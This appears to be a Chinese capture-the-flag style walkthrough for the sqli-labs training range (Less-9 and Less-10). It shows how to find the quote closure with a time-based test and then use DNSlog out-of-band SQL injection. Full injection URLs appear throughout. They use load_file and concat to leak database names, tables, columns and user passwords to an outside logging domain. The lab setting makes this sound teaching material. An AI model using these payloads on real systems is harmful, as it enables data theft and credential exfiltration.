sqli-labs靶场less-9

本文只展示如何利用dnslog注入通过本关，注入原理可以参考我另外一篇文章

DSNlog注入原理

1、确定闭合方式

http://192.168.140.130/sq/Less-9/?id=1

发现id的值不论为任何值，页面回显都是一致的You are in…
判断不存在布尔注入，报错注入
用dnslog注入，构造1' and sleep(2) --+确定闭合方式
可以将单引号修改为",'),')),"),"))等，查看页面回显时间，最终确定语句为

http://192.168.140.130/sq/Less-9/?id=1’ and sleep(2) --+

页面回显延迟，确定闭合方式为' '

2、平台选取

打开网址 https://eyes.sh/login ,注册账号

也可以使用其他平台，更多平台可以参考我上面提到的连接

登入进去

3、dnslog注入

构造语句

http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select database()),‘.zifei.eyes.sh/test.txt’))) --+
concat是为了将里面的值拼接起来
zifeiyu.eyes.sh是自己在eses.sh中注册

查看网页得到数据库名

数据库版本

爆出所有数据库

http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 0,1),‘.zifei.eyes.sh/test.txt’))) --+
http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+
http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 2,1),‘.zifei.eyes.sh/test.txt’))) --+
http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 3,1),‘.zifei.eyes.sh/test.txt’))) --+


此处图片只列举一些

爆出security的所有表

• http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+
• http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 2,1),‘.zifei.eyes.sh/test.txt’))) --+
• http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 3,1),‘.zifei.eyes.sh/test.txt’))) --+

爆出列名

• http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),‘.zifei.eyes.sh/test.txt’))) --+
• http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+
• http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+

爆出数据

http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select concat(username,‘.’,password) from security.users limit 0,1),‘.zifei.eyes.sh/test.txt’))) --+

只需要修改0的值，便可以得到所有的值

less-10

本关与第九关用dnslog通过方式一样，只不过闭合方式为";其他一致